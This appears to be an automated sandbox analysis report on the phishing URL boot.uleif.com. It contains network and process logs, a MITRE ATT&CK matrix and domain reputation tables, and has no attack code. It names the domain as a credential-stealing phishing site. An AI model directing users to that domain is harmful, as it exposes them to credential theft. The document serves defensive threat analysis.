Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 57949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59098
Source: unknown	Network traffic detected: HTTP traffic on port 59017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59094
Source: unknown	Network traffic detected: HTTP traffic on port 59080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 57933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 57927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 59006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 59100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59029
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59036
Source: unknown	Network traffic detected: HTTP traffic on port 59038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59032
Source: unknown	Network traffic detected: HTTP traffic on port 59015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59034
Source: unknown	Network traffic detected: HTTP traffic on port 59044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59031
Source: unknown	Network traffic detected: HTTP traffic on port 59067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59030
Source: unknown	Network traffic detected: HTTP traffic on port 58991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59047
Source: unknown	Network traffic detected: HTTP traffic on port 59062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59044
Source: unknown	Network traffic detected: HTTP traffic on port 57946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59040
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59042
Source: unknown	Network traffic detected: HTTP traffic on port 59010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59041
Source: unknown	Network traffic detected: HTTP traffic on port 59049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58997
Source: unknown	Network traffic detected: HTTP traffic on port 59078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58999
Source: unknown	Network traffic detected: HTTP traffic on port 59097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58998
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59058
Source: unknown	Network traffic detected: HTTP traffic on port 57939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59055
Source: unknown	Network traffic detected: HTTP traffic on port 57945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59057
Source: unknown	Network traffic detected: HTTP traffic on port 59061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59051
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59052
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59068
Source: unknown	Network traffic detected: HTTP traffic on port 59016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59064
Source: unknown	Network traffic detected: HTTP traffic on port 57934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 59089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57962
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59003
Source: unknown	Network traffic detected: HTTP traffic on port 59014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59006
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59001
Source: unknown	Network traffic detected: HTTP traffic on port 57936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59008
Source: unknown	Network traffic detected: HTTP traffic on port 59059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59014
Source: unknown	Network traffic detected: HTTP traffic on port 57941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59016
Source: unknown	Network traffic detected: HTTP traffic on port 59065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59012
Source: unknown	Network traffic detected: HTTP traffic on port 59032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59026
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59025
Source: unknown	Network traffic detected: HTTP traffic on port 59037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59022
Source: unknown	Network traffic detected: HTTP traffic on port 59060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59024
Source: unknown	Network traffic detected: HTTP traffic on port 59043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59265
Source: unknown	Network traffic detected: HTTP traffic on port 59009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59023
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59020

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:59264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:59265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:59266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.64:443 -> 192.168.2.4:57921 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1054553331\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_2332_1886902165

Jump to behavior

Source: classification engine

Classification label: mal56.phis.win@23/48@12/6

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,7875350834692720134,8154431337683397247,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://boot.uleif.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2020,i,7875350834692720134,8154431337683397247,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
http://boot.uleif.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://wieistmeineip.de	0%	URL Reputation	safe
https://mercadoshops.com.co	0%	URL Reputation	safe
https://gliadomain.com	0%	URL Reputation	safe
https://poalim.xyz	0%	URL Reputation	safe
https://mercadolivre.com	0%	URL Reputation	safe
https://reshim.org	0%	URL Reputation	safe
https://nourishingpursuits.com	0%	URL Reputation	safe
https://medonet.pl	0%	URL Reputation	safe
https://unotv.com	0%	URL Reputation	safe
https://mercadoshops.com.br	0%	URL Reputation	safe
https://zdrowietvn.pl	0%	URL Reputation	safe
https://johndeere.com	0%	URL Reputation	safe
https://songstats.com	0%	URL Reputation	safe
https://baomoi.com	0%	URL Reputation	safe
https://supereva.it	0%	URL Reputation	safe
https://elfinancierocr.com	0%	URL Reputation	safe
https://bolasport.com	0%	URL Reputation	safe
https://rws1nvtvt.com	0%	URL Reputation	safe
https://desimartini.com	0%	URL Reputation	safe
https://hearty.app	0%	URL Reputation	safe
https://hearty.gift	0%	URL Reputation	safe
https://mercadoshops.com	0%	URL Reputation	safe
https://heartymail.com	0%	URL Reputation	safe
https://p106.net	0%	URL Reputation	safe
https://radio2.be	0%	URL Reputation	safe
https://finn.no	0%	URL Reputation	safe
https://hc1.com	0%	URL Reputation	safe
https://kompas.tv	0%	URL Reputation	safe
https://mystudentdashboard.com	0%	URL Reputation	safe
https://songshare.com	0%	URL Reputation	safe
https://smaker.pl	0%	URL Reputation	safe
https://mercadopago.com.mx	0%	URL Reputation	safe
https://p24.hu	0%	URL Reputation	safe
https://talkdeskqaid.com	0%	URL Reputation	safe
https://mercadopago.com.pe	0%	URL Reputation	safe
https://cardsayings.net	0%	URL Reputation	safe
https://mightytext.net	0%	URL Reputation	safe
https://pudelek.pl	0%	URL Reputation	safe
https://hazipatika.com	0%	URL Reputation	safe
https://joyreactor.com	0%	URL Reputation	safe
https://cookreactor.com	0%	URL Reputation	safe
https://wildixin.com	0%	URL Reputation	safe
https://eworkbookcloud.com	0%	URL Reputation	safe
https://cognitiveai.ru	0%	URL Reputation	safe
https://nacion.com	0%	URL Reputation	safe
https://chennien.com	0%	URL Reputation	safe
https://drimer.travel	0%	URL Reputation	safe
https://deccoria.pl	0%	URL Reputation	safe
https://mercadopago.cl	0%	URL Reputation	safe
https://talkdeskstgid.com	0%	URL Reputation	safe
https://bonvivir.com	0%	URL Reputation	safe
https://carcostadvisor.be	0%	URL Reputation	safe
https://salemovetravel.com	0%	URL Reputation	safe
https://sapo.io	0%	URL Reputation	safe
https://wpext.pl	0%	URL Reputation	safe
https://welt.de	0%	URL Reputation	safe
https://poalim.site	0%	URL Reputation	safe
https://drimer.io	0%	URL Reputation	safe
https://infoedgeindia.com	0%	URL Reputation	safe
https://blackrockadvisorelite.it	0%	URL Reputation	safe
https://cognitive-ai.ru	0%	URL Reputation	safe
https://cafemedia.com	0%	URL Reputation	safe
https://graziadaily.co.uk	0%	URL Reputation	safe
https://thirdspace.org.au	0%	URL Reputation	safe
https://mercadoshops.com.ar	0%	URL Reputation	safe
https://smpn106jkt.sch.id	0%	URL Reputation	safe
https://elpais.uy	0%	URL Reputation	safe
https://landyrev.com	0%	URL Reputation	safe
https://the42.ie	0%	URL Reputation	safe
https://commentcamarche.com	0%	URL Reputation	safe
https://tucarro.com.ve	0%	URL Reputation	safe
https://rws3nvtvt.com	0%	URL Reputation	safe
https://eleconomista.net	0%	URL Reputation	safe
https://mercadolivre.com.br	0%	URL Reputation	safe
https://clmbtech.com	0%	URL Reputation	safe
https://standardsandpraiserepurpose.com	0%	URL Reputation	safe
https://salemovefinancial.com	0%	URL Reputation	safe
https://mercadopago.com.br	0%	URL Reputation	safe
https://commentcamarche.net	0%	URL Reputation	safe
https://etfacademy.it	0%	URL Reputation	safe
https://mighty-app.appspot.com	0%	URL Reputation	safe
https://hj.rs	0%	URL Reputation	safe
https://hearty.me	0%	URL Reputation	safe
https://mercadolibre.com.gt	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0036.t-0009.fb-t-msedge.net	13.107.253.64	true	false	unknown
ipinfo.io	34.117.59.81	true	false	unknown
www.google.com	142.250.185.164	true	false	unknown
boot.uleif.com	76.76.21.21	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://boot.uleif.com/favicon.ico	true	unknown
http://boot.uleif.com/	true	unknown
https://boot.uleif.com/_next/static/css/bf966d2a7834ad98.css	true	unknown
https://boot.uleif.com/_next/static/chunks/pages/index-ebc524c6a07e276b.js	true	unknown
https://boot.uleif.com/background.jpg	true	unknown
https://boot.uleif.com/_next/static/chunks/669-1b66ac76fc7185ce.js	true	unknown
https://boot.uleif.com/_next/static/56kho6wiIZfQ6_uNQX-cO/_ssgManifest.js	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wieistmeineip.de	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.co	sets.json.0.dr	false	URL Reputation: safe	unknown
https://gliadomain.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://poalim.xyz	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadolivre.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://reshim.org	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nourishingpursuits.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://medonet.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://unotv.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://joyreactor.cc	sets.json.0.dr	false		unknown
https://zdrowietvn.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://johndeere.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://songstats.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://baomoi.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://supereva.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://elfinancierocr.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://bolasport.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://rws1nvtvt.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://ne.denise-moth.click	chromecache_134.2.dr, chromecache_135.2.dr	false		unknown
https://desimartini.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.app	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.gift	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://heartymail.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nlc.hu	sets.json.0.dr	false		unknown
https://p106.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://radio2.be	sets.json.0.dr	false	URL Reputation: safe	unknown
https://finn.no	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hc1.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://kompas.tv	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mystudentdashboard.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://songshare.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://smaker.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.com.mx	sets.json.0.dr	false	URL Reputation: safe	unknown
https://p24.hu	sets.json.0.dr	false	URL Reputation: safe	unknown
https://talkdeskqaid.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://24.hu	sets.json.0.dr	false		unknown
https://mercadopago.com.pe	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cardsayings.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://text.com	sets.json.0.dr	false		unknown
https://mightytext.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://pudelek.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hazipatika.com	sets.json.0.dr	false	URL Reputation: safe	unknown
